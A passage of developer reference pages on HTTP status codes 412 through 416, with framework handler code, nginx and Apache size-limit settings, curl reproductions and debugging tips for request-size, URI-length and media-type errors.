condition.match(/(?:W\/)?"[^"]*"/g) ?? [] if (condition.trim() !== '*' && !tags.includes(currentETag)) { return res.status(412).json({ error: 'precondition_failed', fetch_url: req.path }) } const { rows: [updated] } = await db.query( `UPDATE resources SET title = $1, version = version + 1 WHERE id = $2 AND ($3 OR ('"v' || version::text || '"') = ANY($4::text[])) RETURNING id, title, version`, [req.body.title, doc.id, condition.trim() === '*', tags] ) if (!updated) return res.status(412).json({ error: 'precondition_failed' }) return res.set('ETag', `"v${updated.version}"`).json(updated) }) ``` **Django:** Use a database that supports `select_for_update()` and keep the check and save inside `transaction.atomic()`. Parse a JSON PUT from `request.body`, rather than `request.POST`. [Django row locking](https://docs.djangoproject.com/en/5.2/ref/models/querysets/#select-for-update), [request bodies](https://docs.djangoproject.com/en/5.2/ref/request-response/#django.http.HttpRequest.body). ```python from django.db import transaction from django.http import JsonResponse from django.views.decorators.http import require_http_methods from django.utils.http import parse_etags import json @require_http_methods(["PUT"]) def update_resource(request, resource_id): # Validate this JSON and authorize access before updating fields. changes = json.loads(request.body) with transaction.atomic(): try: resource = Resource.objects.select_for_update().get(id=resource_id) except Resource.DoesNotExist: return JsonResponse({"error": "not_found"}, status=404) current_etag = f'"v{resource.version}"' condition = request.headers.get("If-Match") if not condition: return JsonResponse({"error": "precondition_required"}, status=428) if condition.strip() != "*" and current_etag not in parse_etags(condition): return JsonResponse({"error": "precondition_failed"}, status=412) resource.title = changes["title"] resource.version += 1 resource.save(update_fields=["title", "version"]) return JsonResponse(resource.to_dict(), headers={ "ETag": f'"v{resource.version}"' }) ``` **ASP.NET Core:** This SQL Server pattern assumes a `byte[] RowVersion` property configured with `[Timestamp]` or `.IsRowVersion()`. Use the same quoted Base64 tag on GET. EF Core checks the original concurrency token during `SaveChangesAsync()` and reports a race as `DbUpdateConcurrencyException`. ```csharp // RowVersion is configured as a SQL Server rowversion concurrency token. [HttpPut("api/resources/{id}")] public async Task UpdateResource(int id, [FromBody] ResourceDto dto) { var resource = await _context.Resources.FindAsync(id); if (resource is null) return NotFound(); var currentETag = $"\"{Convert.ToBase64String(resource.RowVersion)}\""; var conditions = Request.GetTypedHeaders().IfMatch; if (conditions is null || conditions.Count == 0) return StatusCode(428); var acceptsAnyVersion = conditions.Any(tag => tag.Tag.Value == "*"); if (!conditions.Any(tag => tag.Tag.Value == "*" || (!tag.IsWeak && tag.Tag.Value == currentETag))) return StatusCode(412, new { error = "precondition_failed" }); resource.Update(dto); // Update editable fields only; leave RowVersion alone. try { await _context.SaveChangesAsync(); } catch (DbUpdateConcurrencyException ex) { // A wildcard only tests existence; a changed existing row is a 409 here. var stillExists = await ex.Entries.Single().GetDatabaseValuesAsync() is not null; return acceptsAnyVersion && stillExists ? StatusCode(409, new { error = "concurrent_update" }) : StatusCode(412, new { error = "precondition_failed" }); } Response.Headers["ETag"] = $"\"{Convert.ToBase64String(resource.RowVersion)}\""; return Ok(resource); } ``` ## Try It Yourself Visit our [request builder](https://howhttpworks.com/tools/playground) and trigger a 412 response: 1. Set method to **PUT** 2. Set path to **/api/documents/1** 3. Add header `If-Match: "old-etag"` 4. Click **Send request** 5. See 412 with current ETag and conflict details ## Try it with curl Send an update guarded by an `If-Match` ETag that no longer matches the current version. ```bash curl -i -X PUT https://api.example.com/documents/1 \ -H 'If-Match: "stale-etag"' \ -H 'Content-Type: application/json' \ -d '{"title":"New title"}' ``` The conditional update could return: ```http HTTP/1.1 412 Precondition Failed etag: "current-etag" content-type: application/json {"error":"precondition_failed"} ``` Fetch the current document and its ETag before deciding how to merge. A fresh validator authorizes a write against that version; it does not merge the submitted content for you. ## Related Status Codes - [304 Not Modified](https://howhttpworks.com/status-codes/304) - Conditional GET succeeded (not modified) - [428 Precondition Required](https://howhttpworks.com/status-codes/428) - Server requires conditional headers - [409 Conflict](https://howhttpworks.com/status-codes/409) - Request conflicts with current state - [200 OK](https://howhttpworks.com/status-codes/200) - Successful conditional request --- # 413 Payload Too Large (Content Too Large): Causes and Fixes > 413 Content Too Large (formerly Payload Too Large): find which layer rejected the upload and raise the limit in nginx, Apache, Cloudflare, Express and more. Source: https://howhttpworks.com/status-codes/413 Last reviewed: 2026-10-04 > **TL;DR:** Some layer between the client and your app (nginx, a CDN, an API gateway or the framework's body parser) rejected the body for being over its size cap. Find which layer answered, then raise the limit there, or send the file by another route such as chunking or a presigned URL. ## What it means The request was syntactically fine, but its body (the "content" in RFC 9110 terms) exceeded what the server will accept. The server may close the connection to stop the client from sending the rest. Because every hop has its own default limit, raising the limit in one place often just moves the 413 to the next hop. ```http HTTP/1.1 413 Request Entity Too Large Server: nginx/1.25.5 Content-Type: text/html Content-Length: 183 Connection: close ``` nginx still emits the pre-RFC 9110 phrase, and its error log says exactly what happened: ```text 2026/10/04 09:12:41 [error] 31#31: *874 client intended to send too large body: 5242880 bytes, client: 203.0.113.9, server: example.com, request: "POST /upload HTTP/1.1", host: "example.com" ``` ## Who sent it? | Signal | Likely sender | | --- | --- | | `Server: nginx` and the log line above | nginx (or ingress-nginx in Kubernetes) | | `Server: cloudflare` plus `CF-Ray` | Cloudflare, plan limit exceeded | | `{"message":"Request Entity Too Large"}` with an `x-amzn-ErrorType` header | API Gateway | | `PayloadTooLargeError: request entity too large` in the app log | Express `body-parser` / `express.json()` | | `FUNCTION_PAYLOAD_TOO_LARGE` in the body, `X-Vercel-Error` header | Vercel (4.5 MB request cap on functions) | | Plain `Request Entity Too Large` page, `Server: Apache` | Apache `LimitRequestBody`, or PHP limits | Reproduce and see who answers. curl sends `Expect: 100-continue` for large POST bodies on HTTP/1.1, and nginx answers 413 before the body is uploaded, which is the fast way to confirm: ```bash head -c 5M /dev/zero > big.bin curl -sv -o /dev/null -X POST --data-binary @big.bin https://example.com/upload 2>&1 | grep -iE '^[<>] (POST|HTTP|server|cf-ray|via|expect)' ``` ## Fix it by stack ### nginx Default is `1m`. Set it where the request lands (http, server or location), then `nginx -t && nginx -s reload`: ```nginx server { client_max_body_size 50m; location /upload { client_max_body_size 500m; proxy_request_buffering off; # stream to the upstream instead of buffering to disk proxy_pass http://app; } } ``` `client_max_body_size 0;` disables the check entirely, which is rarely what you want on a public endpoint. ### ingress-nginx (Kubernetes) The ingress controller enforces its own limit before traffic reaches your pod. Per Ingress: ```yaml metadata: annotations: nginx.ingress.kubernetes.io/proxy-body-size: "50m" ``` Or cluster-wide with `proxy-body-size` in the controller ConfigMap. If you also run nginx inside the pod, raise that one too. ### Apache and PHP `LimitRequestBody` defaults to `0` (unlimited); the maximum is `2147483647`. If you did not set it, the cap is probably PHP's: ```apache LimitRequestBody 52428800 ``` ```ini ; php.ini: post_max_size must be >= upload_max_filesize upload_max_filesize = 50M post_max_size = 55M ``` ### Express, Node and Go `express.json()` and `express.urlencoded()` default to `100kb`. The error is `PayloadTooLargeError: request entity too large` with `err.status === 413`: ```javascript app.use(express.json({ limit: '2mb' })) ``` For file uploads use a streaming parser (multer with `limits.fileSize`, busboy) instead of raising the JSON limit. In Go, wrap the body with `http.MaxBytesReader(w, r.Body, 10<<20)`; reads past the limit fail with `http: request body too large` and you choose the status code. ### Next.js, Vercel, Django - Next.js Pages Router API routes: `export const config = { api: { bodyParser: { sizeLimit: '4mb' } } }`. Server Actions default to 1 MB and are raised with `serverActions.bodySizeLimit` in `next.config`. - Vercel functions reject request bodies over 4.5 MB regardless of your code. Upload directly to blob storage with a presigned or client-upload token. - Django enforces `DATA_UPLOAD_MAX_MEMORY_SIZE` (2.5 MB, file parts excluded) and raises `RequestDataTooBig`, which Django turns into a 400, not a 413. ### Cloudflare and cloud gateways - Cloudflare proxy: 100 MB (Free, Pro), 200 MB (Business), 500 MB (Enterprise) by default. A DNS-only (grey cloud) record bypasses it. - API Gateway: 10 MB payload limit. Lambda synchronous invocation payloads cap at 6 MB, and an ALB with a Lambda target at 1 MB. - ALB to an instance or container target: the ALB does not impose a body size limit, so a 413 behind an ALB comes from your own stack. For anything above a few MB, upload straight to object storage (S3 presigned `PUT` or multipart, GCS resumable) and send only the object key to your API. ## Related codes - [400 Bad Request](https://howhttpworks.com/status-codes/400): malformed request, not merely large. - [414 URI Too Long](https://howhttpworks.com/status-codes/414): the target URI is oversized, not the body. - [431 Request Header Fields Too Large](https://howhttpworks.com/status-codes/431): the headers or cookies are oversized. - [408 Request Timeout](https://howhttpworks.com/status-codes/408): a slow upload can die this way instead. - [415 Unsupported Media Type](https://howhttpworks.com/status-codes/415): wrong format rather than wrong size. --- # 414 URI Too Long > The requested URI exceeds the server's maximum length limit. Learn about URI length limits and how to handle oversized requests. Source: https://howhttpworks.com/status-codes/414 Last reviewed: 2026-10-04 > **TL;DR:** Your URL exceeds the server's length limit (usually from too many query parameters). Use POST method for large data instead. ## What is 414 URI Too Long? A **414 URI Too Long** status code means the URI (URL) requested by the client is longer than the server is willing to process. Think of it like trying to write an address on an envelope that's too long to fit—the postal service can't process it because it exceeds their format limits. This commonly happens when too much data is passed in query parameters, especially when GET requests are used inappropriately for large data submissions. ## When Does This Happen? You'll see a 414 URI Too Long response in these common situations: **1. Excessive Query Parameters** ```text Too many filters or search parameters in URL /search?param1=value1¶m2=value2&... [5000+ characters] → 414 ``` **2. Large Data in GET Request** ```text Attempting to send large data via GET instead of POST /api/submit?data=[huge-json-encoded-string] → 414 ``` **3. Redirect Loop Accumulation** ```text Redirect chain appending parameters each time /page?a=1 → /page?a=1&b=2 → /page?a=1&b=2&c=3 → ... → 414 ``` **4. Array/List in Query String** ```text Passing large arrays via URL /filter?ids[]=1&ids[]=2&ids[]=3... [1000 IDs] → 414 ``` **5. Base64-Encoded Data in URL** ```text Embedding large files in query parameters /preview?image=data:image/png;base64,[100KB of data] → 414 ``` ## Example Responses **Basic URI Too Long:** ```http HTTP/1.1 414 URI Too Long Content-Type: application/json Content-Length: 245 { "error": "URI Too Long", "message": "The requested URI exceeds the maximum allowed length", "uri_length": 10240, "max_allowed_length": 8192, "suggestion": "Use POST method to send large amounts of data" } ``` **With Alternative Endpoint:** ```http HTTP/1.1 414 URI Too Long Content-Type: application/json Link: ; rel="alternate"; method="POST" { "error": "URI Too Long", "message": "Query string exceeds maximum length of 4096 characters", "uri_length": 5823, "max_length": 4096, "alternatives": { "post_endpoint": { "url": "/api/search", "method": "POST", "description": "Send search parameters in request body" } }, "documentation": "https://docs.example.com/api/search-limits" } ``` **Server-Specific Limits:** ```http HTTP/1.1 414 URI Too Long Content-Type: text/html Server: nginx/1.24.0 414 URI Too Long

Request URI Too Long

The requested URL's length exceeds the capacity limit for this server.

Maximum allowed URI length: 8192 characters

Your request length: 12456 characters

Please reduce the URL length or use POST method instead.

``` ## Real-World Example Imagine you're building a report filtering system with too many parameters: **Client Request with Excessive Parameters:** ```http GET /api/reports?year=2026&month=1&month=2&month=3&month=4&month=5&month=6&month=7&month=8&month=9&month=10&month=11&month=12&category=sales&category=marketing&category=operations&category=hr&category=finance&category=it®ion=north®ion=south®ion=east®ion=west&product_id=1&product_id=2&product_id=3...[continues for 500 products]...&format=pdf&include_charts=true&include_tables=true&include_summary=true&timezone=America/New_York HTTP/1.1 Host: api.example.com Accept: application/json ``` **Server Response:** ```http HTTP/1.1 414 URI Too Long Content-Type: application/json Link: ; rel="alternate"; method="POST" X-Max-URI-Length: 8192 X-Actual-URI-Length: 15234 { "status": 414, "error": "URI Too Long", "message": "Request URI exceeds server maximum length", "details": { "max_uri_length": 8192, "actual_uri_length": 15234, "excess_length": 7042, "query_param_count": 523 }, "solution": { "description": "Use POST method for complex queries", "endpoint": "/api/reports/query", "method": "POST", "example": { "url": "https://api.example.com/api/reports/query", "method": "POST", "headers": { "Content-Type": "application/json" }, "body": { "year": 2026, "months": [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12], "categories": ["sales", "marketing", "operations"], "product_ids": [1, 2, 3, "..."] } } }, "documentation": "https://docs.example.com/api/query-limits" } ``` ## 414 vs Other Request Error Codes | Code | Meaning | Issue | Solution | | ------- | ----------------- | ------------------------ | ------------------------- | | **414** | URI too long | URL exceeds length limit | Use POST or shorten URL | | **413** | Payload too large | Request body too big | Reduce body size or chunk | | **400** | Bad request | Malformed request | Fix request syntax | | **431** | Headers too large | Request headers too big | Reduce header size | ## Important Characteristics **Common URI Length Limits:** ```text Browser limits: - Chrome: ~2MB (practical limit ~32KB) - Firefox: ~65,536 characters - Safari: ~80,000 characters - IE/Edge: 2,083 characters (legacy) Server limits: - Apache: 8,190 bytes (default) - Nginx: 4K-8K bytes (configurable) - IIS: 16,384 characters (configurable) - Node.js: 80KB (http-parser default) ``` **Query String vs Request Body:** ```http GET with long query string: /api/search?q=long&filters=[huge array] → Risk of 414 POST with request body: POST /api/search Body: {"q": "long", "filters": [...]} → Better approach ``` **URL Encoding Overhead:** ```http Original: "hello world" Encoded: "hello%20world" ← 20% increase in length ``` ## Common Mistakes **❌ Using GET for large data submissions** ```http GET /api/submit?data=[10KB of base64 encoded data] → 414 ``` **❌ Putting arrays in query string** ```http GET /filter?ids=1,2,3,4,5,6,7,8...[500 IDs] → 414 ``` **❌ Encoding entire objects in URL** ```http GET /preview?config={"theme":"dark","options":[...]...} → 414 ``` **✅ Use POST for large data** ```http POST /api/submit Content-Type: application/json { "data": "[large payload]", "ids": [1, 2, 3, 4, 5, ...] } ``` ## Getting 414 URI Too Long right **Use POST for Large Data:** ```javascript // Bad: GET with huge query string fetch('/api/search?filters=' + encodeURIComponent(JSON.stringify(largeFilters))) // Good: POST with body fetch('/api/search', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ filters: largeFilters }) }) ``` **Implement Pagination and Filtering:** ```javascript // Bad: Request all IDs at once /api/records?ids=1,2,3,4,5...[1000 IDs] // Good: Use pagination or POST POST /api/records/batch {"ids": [1, 2, 3, ...], "page": 1, "limit": 100} ``` **Provide Clear Error Messages:** ```http HTTP/1.1 414 URI Too Long Content-Type: application/json { "error": "URI Too Long", "message": "URL exceeds 8192 character limit", "current_length": 12456, "max_length": 8192, "recommendations": [ "Use POST method instead of GET", "Reduce number of query parameters", "Use request body for large data", "Implement pagination for large result sets" ], "alternative_endpoints": [ { "method": "POST", "url": "/api/search", "description": "Submit search parameters in request body" } ] } ``` **Configure Server Limits Appropriately:** ```nginx # Nginx configuration large_client_header_buffers 4 16k; http { # Increase URI size limit client_header_buffer_size 16k; } ``` ```apache # Apache configuration LimitRequestLine 16384 ``` ## Implementation Examples **Express.js Error Handling:** ```javascript const express = require('express') const app = express() // Set maximum URL length app.use((req, res, next) => { const MAX_URL_LENGTH = 8192 const fullUrl = req.protocol + '://' + req.get('host') + req.originalUrl if (fullUrl.length > MAX_URL_LENGTH) { return res.status(414).json({ error: 'URI Too Long', message: 'Request URL exceeds maximum allowed length', current_length: fullUrl.length, max_length: MAX_URL_LENGTH, suggestion: 'Use POST method for large data submissions' }) } next() }) // Alternative POST endpoint for long queries app.post('/api/search', (req, res) => { const { filters, sort, pagination } = req.body // Handle search with body parameters res.json({ results: performSearch(req.body) }) }) ``` **Django:** ```python from django.http import JsonResponse from django.conf import settings class URILengthMiddleware: def __init__(self, get_response): self.get_response = get_response self.max_uri_length = getattr(settings, 'MAX_URI_LENGTH', 8192) def __call__(self, request): full_path = request.build_absolute_uri() if len(full_path) > self.max_uri_length: return JsonResponse({ 'error': 'URI Too Long', 'message': f'URI length {len(full_path)} exceeds maximum {self.max_uri_length}', 'max_length': self.max_uri_length, 'current_length': len(full_path), 'alternative': { 'method': 'POST', 'endpoint': request.path } }, status=414) return self.get_response(request) ``` **ASP.NET Core:** ```csharp public class URILengthMiddleware { private readonly RequestDelegate _next; private const int MaxUriLength = 8192; public URILengthMiddleware(RequestDelegate next) { _next = next; } public async Task InvokeAsync(HttpContext context) { var uri = $"{context.Request.Scheme}://{context.Request.Host}{context.Request.Path}{context.Request.QueryString}"; if (uri.Length > MaxUriLength) { context.Response.StatusCode = 414; context.Response.ContentType = "application/json"; await context.Response.WriteAsJsonAsync(new { error = "URI Too Long", message = "Request URI exceeds maximum allowed length", current_length = uri.Length, max_length = MaxUriLength, suggestion = "Use POST method for large data" }); return; } await _next(context); } } ``` ## Client-Side Prevention **Check URL Length Before Sending:** ```javascript function makeAPIRequest(endpoint, params) { const queryString = new URLSearchParams(params).toString() const fullUrl = `${endpoint}?${queryString}` const MAX_URL_LENGTH = 8000 // Conservative limit if (fullUrl.length > MAX_URL_LENGTH) { // Switch to POST automatically return fetch(endpoint, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(params) }) } // Safe to use GET return fetch(fullUrl) } ``` **Paginate Large Requests:** ```javascript // Bad: All IDs at once const ids = Array.from({ length: 1000 }, (_, i) => i + 1) fetch(`/api/items?ids=${ids.join(',')}`) // URI too long! // Good: Batch requests async function fetchItemsInBatches(ids, batchSize = 100) { const results = [] for (let i = 0; i < ids.length; i += batchSize) { const batch = ids.slice(i, i + batchSize) const response = await fetch('/api/items', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ ids: batch }) }) results.push(...(await response.json())) } return results } ``` ## Try It Yourself Visit our [request builder](https://howhttpworks.com/tools/playground) and trigger a 414 response: 1. Set method to **GET** 2. Set path to **/api/search** 3. Add query with 1000+ parameters 4. Click **Send request** 5. See 414 with suggested POST alternative ## Try it with curl Build a URL longer than the server's request-line limit. nginx's default is 8 KB per header buffer (`large_client_header_buffers 4 8k`), so 10,000 characters is enough there. ```bash curl -i "https://api.example.com/search?q=$(head -c 10000 /dev/zero | tr '\0' 'a')" ``` Example output (illustrative, not captured from a real server): ```http HTTP/1.1 414 Request-URI Too Large Server: nginx ``` The reason phrase differs by server (RFC 9110 calls the status `URI Too Long`). Limits vary, so change the `head -c` count to find a given server's threshold. ## Related Status Codes - [413 Payload Too Large](https://howhttpworks.com/status-codes/413) - Request body exceeds size limit - [431 Request Header Fields Too Large](https://howhttpworks.com/status-codes/431) - Request headers too large - [400 Bad Request](https://howhttpworks.com/status-codes/400) - Malformed request - [200 OK](https://howhttpworks.com/status-codes/200) - Successful request with appropriate size --- # 415 Unsupported Media Type > 415 Unsupported Media Type: the server won't accept your Content-Type. Real Spring, DRF and ASP.NET errors, curl reproduction, fixes for fetch and FormData. Source: https://howhttpworks.com/status-codes/415 Last reviewed: 2026-10-05 > **TL;DR:** 415 Unsupported Media Type means the server rejects the format of your request body. Match `Content-Type` to the endpoint, serialize JSON with `JSON.stringify`, and let the client generate the multipart boundary for uploads. Check `Content-Encoding` if the body is compressed. ## What you see in your client The messages and response bodies here are illustrative. Client messages use `https://api.example.com/resource`; reason phrases and URLs can vary. - **Axios:** `AxiosError: Request failed with status code 415` with the default status handling. Inspect `error.response.data` for the server's explanation. [Axios source](https://github.com/axios/axios/blob/v1.x/lib/core/settle.js). - **fetch:** the promise resolves with `response.status === 415` and `response.ok === false`. Check the status before reading the body; HTTP errors do not enter `catch` automatically. [MDN fetch](https://developer.mozilla.org/en-US/docs/Web/API/Window/fetch). - **Python requests:** `requests.exceptions.HTTPError: 415 Client Error: Unsupported Media Type for url: https://api.example.com/resource` when you call `response.raise_for_status()`. [Requests source](https://requests.readthedocs.io/en/latest/_modules/requests/models/#Response.raise_for_status). - **curl -f:** `curl: (22) The requested URL returned error: 415`. Use `curl -i` without `-f` while inspecting the error body. [curl source](https://github.com/curl/curl/blob/master/lib/http.c). - **.NET:** `HttpRequestException` with the English message `Response status code does not indicate success: 415 (Unsupported Media Type).` after `EnsureSuccessStatusCode()`. [Runtime message template](https://github.com/dotnet/runtime/blob/main/src/libraries/System.Net.Http/src/Resources/Strings.resx). - **Spring WebClient:** `WebClientResponseException$UnsupportedMediaType: 415 Unsupported Media Type from POST https://api.example.com/resource` with `retrieve()`. Read `getResponseBodyAsString()`. [Spring 6.2 source](https://github.com/spring-projects/spring-framework/blob/6.2.x/spring-webflux/src/main/java/org/springframework/web/reactive/function/client/WebClientResponseException.java). - **Spring RestTemplate (6.2):** `HttpClientErrorException$UnsupportedMediaType: 415 Unsupported Media Type on POST request for "https://api.example.com/resource": [no body]` with the default error handler and an empty response body. Read the exception body when present. [Message builder](https://github.com/spring-projects/spring-framework/blob/6.2.x/spring-web/src/main/java/org/springframework/web/client/DefaultResponseErrorHandler.java), [exception subclasses](https://docs.spring.io/spring-framework/docs/6.2.x/javadoc-api/org/springframework/web/client/HttpClientErrorException.html). ## What it means RFC 9110 section 15.5.16: the origin server refuses the request because the content is in a format the target resource does not support for this method. It is a check on the *request* body format. It has nothing to do with the size (see [413](https://howhttpworks.com/status-codes/413)) or the content being invalid inside a supported format (see [422](https://howhttpworks.com/status-codes/422)). ```http HTTP/1.1 415 Unsupported Media Type Content-Type: application/json Accept-Post: application/json, application/ld+json {"error":"Unsupported Media Type","detail":"Content-Type 'text/plain' is not supported"} ``` `Accept-Post` (or `Accept-Patch`) on the response tells you what to send instead. ## Reproduce it `curl -d` defaults to `application/x-www-form-urlencoded`; a JSON-only endpoint can reject that type: ```bash # Triggers 415 on a JSON-only endpoint curl -sv -X POST https://api.example.com/orders -d '{"sku":"A1","qty":2}' # > Content-Type: application/x-www-form-urlencoded # Fixed curl -sv -X POST https://api.example.com/orders \ -H 'Content-Type: application/json' \ -d '{"sku":"A1","qty":2}' ``` ## Real error strings by framework Spring builds the Content-Type message in its exception constructor, and DRF defines the unsupported-media message in its exception class. [Spring source](https://github.com/spring-projects/spring-framework/blob/main/spring-web/src/main/java/org/springframework/web/HttpMediaTypeNotSupportedException.java), [DRF source](https://github.com/encode/django-rest-framework/blob/master/rest_framework/exceptions.py). | Stack | What you see | | --- | --- | | Spring Boot | `HttpMediaTypeNotSupportedException: Content-Type 'text/plain;charset=UTF-8' is not supported` (the route's `consumes` or the missing `HttpMessageConverter`) | | Django REST framework | `{"detail":"Unsupported media type \"text/plain\" in request."}` | | ASP.NET Core | 415 when `[Consumes]` or the input formatters do not match; the error body depends on API configuration | | Express | `express.json()` skips unmatched media types, but unsupported encodings or charsets can produce 415 | | FastAPI | Request body validation errors return 422; inspect the `detail` array ([FastAPI docs](https://fastapi.tiangolo.com/tutorial/handling-errors/#requestvalidationerror-vs-validationerror)) | ## Common causes by stack - **Spring Boot / Spring MVC:** a route's `consumes` condition or the available message converters reject the body type, raising `HttpMediaTypeNotSupportedException` and returning 415; compare `@PostMapping(consumes=...)` with the actual request header. [Spring exception mappings](https://docs.spring.io/spring-framework/docs/current/javadoc-api/org/springframework/web/servlet/mvc/support/DefaultHandlerExceptionResolver.html). - **Django REST framework:** accessing `request.data` raises `UnsupportedMediaType` when no configured parser accepts the request type; add the intended parser to `parser_classes` or send a supported type. [DRF exceptions](https://www.django-rest-framework.org/api-guide/exceptions/#unsupportedmediatype). - **ASP.NET Core controllers:** `[Consumes("application/json")]` rejects another request type with 415; compare `[FromBody]` with `[FromForm]` and the configured input formatters. [Microsoft API documentation](https://learn.microsoft.com/en-us/aspnet/core/web-api/#define-supported-request-content-types-with-the-consumes-attribute). - **Express / body-parser:** `inflate: false` rejects compressed bodies; unsupported encodings and charsets set status 415 with `encoding.unsupported` or `charset.unsupported`. Log `err.type` and send an accepted encoding or charset. [Parser errors](https://expressjs.com/en/resources/middleware/body-parser/#errors). - **AWS API Gateway REST APIs:** `passthroughBehavior: NEVER` rejects a content type without a matching mapping template; `WHEN_NO_TEMPLATES` also rejects unmatched types when a template exists. Add the matching template or deliberately change passthrough behavior. [AWS integration docs](https://docs.aws.amazon.com/apigateway/latest/developerguide/integration-passthrough-behaviors.html). ## Fix it ### Clients ```javascript // JSON: set the header and serialize the body await fetch('/api/orders', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ sku: 'A1', qty: 2 }) }) // Multipart: leave Content-Type unset; the browser adds the boundary const form = new FormData() form.append('file', fileInput.files[0]) await fetch('/api/upload', { method: 'POST', body: form }) ``` If you set `Content-Type: multipart/form-data` yourself the request goes out without `boundary=...`, and servers reject it or fail to parse it. Other client-side causes: PATCH with `application/json` when the API wants `application/merge-patch+json` or `application/json-patch+json`; a charset or vendor type (`application/vnd.api+json`) the server does not list; a request body compressed with `Content-Encoding: gzip` to an endpoint that does not decompress it. ### Servers ```java // Spring: accept the types you intend, or you get 415 for everything else @PostMapping(path = "/orders", consumes = { "application/json", "application/*+json" }) public Order create(@RequestBody OrderRequest body) { ... } ``` ```javascript // Express: parse each type you accept, and answer 415 yourself for the rest app.use(express.json()) app.post('/orders', (req, res) => { if (!req.is('application/json')) { res.set('Accept-Post', 'application/json') return res.status(415).json({ error: 'Content-Type must be application/json' }) } res.status(201).json(createOrder(req.body)) }) ``` For DRF, check both `DEFAULT_PARSER_CLASSES` in settings and the view's `parser_classes`; the view can override the global list. `JSONParser` handles `application/json`, `FormParser` handles `application/x-www-form-urlencoded`, and `MultiPartParser` handles `multipart/form-data` uploads. A view limited to `[JSONParser]` rejects a browser form when it reads `request.data`. Add form parsers only to endpoints intended to accept those formats. For a raw file upload, `FileUploadParser` matches `*/*` and should generally stand alone; use `MultiPartParser` for browser multipart uploads. The distinction determines whether the body is read as one file or as named form fields. [DRF parser configuration](https://www.django-rest-framework.org/api-guide/parsers/). ```python from rest_framework.parsers import FormParser, MultiPartParser from rest_framework.response import Response from rest_framework.views import APIView class UploadView(APIView): parser_classes = [FormParser, MultiPartParser] def post(self, request): return Response({'fields': list(request.data.keys())}) ``` Compare the client's `Content-Type` and `Content-Encoding` with the headers logged at the application. If they differ, inspect the proxy or gateway transformation. API Gateway can itself return 415 before calling the backend when its mapping-template passthrough rules reject the incoming media type. [AWS passthrough behavior](https://docs.aws.amazon.com/apigateway/latest/developerguide/integration-passthrough-behaviors.html). ## Debug the headers and the bytes together `Accept: application/json` asks for a JSON response; it does not label the request body. A POST can have that header and still send `Content-Type: text/plain`. Inspect both directions with `curl -v`, then set `Content-Type: application/json` on the outgoing body. With Python requests, `requests.post(url, json=data)` serializes JSON and sets its type, while `data=data` with a dictionary form-encodes it. [Requests serialization source](https://requests.readthedocs.io/en/latest/_modules/requests/models/#PreparedRequest.prepare_body). For multipart uploads, inspect the boundary in the outgoing header and the body delimiters. Browser `FormData` generates both; setting the header yourself prevents the browser from adding its boundary parameter. Let curl do the same work with `curl -v -F 'file=@report.txt' https://api.example.com/upload`. The endpoint must accept multipart data as well as the particular file or part types it validates. [MDN FormData guidance](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest_API/Using_FormData_Objects), [curl manual](https://curl.se/docs/manpage.html#-F). For compressed requests, `Content-Encoding: gzip` describes compression applied to the body; `Content-Type` still describes the decoded format. Removing the encoding header while sending compressed bytes leaves the parser reading gzip as JSON. Send an uncompressed JSON body or enable the server's supported decompression path. RFC 9110 allows a 415 response to advertise accepted request codings with `Accept-Encoding`; inspect that response header before changing compression. [RFC 9110 section 15.5.16](https://www.rfc-editor.org/rfc/rfc9110#name-415-unsupported-media-type). ## 415 versus neighbors - [400 Bad Request](https://howhttpworks.com/status-codes/400): the request is malformed (for example JSON that does not parse). The type was acceptable, the content was not. - [422 Unprocessable Content](https://howhttpworks.com/status-codes/422): JSON parsed fine but failed validation. - [406 Not Acceptable](https://howhttpworks.com/status-codes/406): the problem is your `Accept` header, not your `Content-Type`. - [413 Content Too Large](https://howhttpworks.com/status-codes/413): the right type, too many bytes. --- # 416 Range Not Satisfiable: Causes and Fixes > 416 Range Not Satisfiable means the requested byte range lies outside the resource. Find why resumed downloads and video requests fail, and how to fix it. Source: https://howhttpworks.com/status-codes/416 Last reviewed: 2026-10-04 > **TL;DR:** 416 means the `Range` you sent starts beyond the end of the resource (or is otherwise invalid for its current size). Read `Content-Range: bytes */` in the response, then finish, or throw away your partial data and re-fetch from byte 0. ## What it means The client asked for part of a resource, and the server cannot give any of it. RFC 9110 §15.5.17 says the server should include a `Content-Range` with an unsatisfied-range value that reports the current length: ```http GET /downloads/app-2.4.1.tar.gz HTTP/1.1 Host: example.com Range: bytes=52428800- HTTP/1.1 416 Range Not Satisfiable Content-Range: bytes */31457280 Content-Type: text/html ``` The client has 50 MiB (52,428,800 bytes) and the file is now 30 MiB (31,457,280 bytes), so there is nothing past offset 52,428,800 to return. What counts as unsatisfiable: the first byte position of every range is at or beyond the resource length, or a suffix range asks for zero bytes (`bytes=-0`), or the resource has zero length. A last-byte position that overshoots the end is fine and is clamped. ```text Resource length 5000 Range: bytes=0-999999 -> 206, bytes 0-4999/5000 (clamped, fine) Range: bytes=5000- -> 416, bytes */5000 (first byte past the end) Range: bytes=-100 -> 206, bytes 4900-4999/5000 ``` Servers may also answer a malformed or abusive `Range` with 200 and the full body rather than 416. Syntactically broken ranges are supposed to be ignored. ## Who sent it? 416 comes from whichever layer evaluated the range against the object size. For static files that is usually the origin web server, but a CDN that has cached the object answers from its own copy. Check `Server`, `Via`, `Age` and `X-Cache` to find out which. Mismatched sizes between layers are the classic cause: the CDN holds the old 50 MiB file, the origin holds the new 30 MiB one, and a client resuming against one while the other answers gets 416. ## Common causes 1. **Resuming a complete download.** The client sends `Range: bytes=-` for a file it already has. Servers answer 416, and tools react differently: wget says the file is already fully retrieved and exits cleanly, some scripts treat any non-2xx as a failure. 2. **The file changed.** A new build was uploaded under the same name, so the partial local copy is longer than the new file. This is the case `If-Range` is designed to catch; see [206](https://howhttpworks.com/status-codes/206). 3. **Inconsistent CDN or load-balanced origins** reporting different sizes for the same URL. 4. **Client bug:** computing the range with an off-by-one (`bytes=0-` is fine, but `bytes=-` is not), or using the compressed size where the server uses the uncompressed size or the reverse. 5. **Zero-byte object.** Any `Range` on an empty file is unsatisfiable. Some video players probing an empty placeholder file surface this as a 416. 6. **Truncated cache.** A browser cached a partial response for a video and later asked for a range using stale metadata. A hard reload clears it. ## Fix it For clients, treat 416 as information, not just failure: ```javascript async function 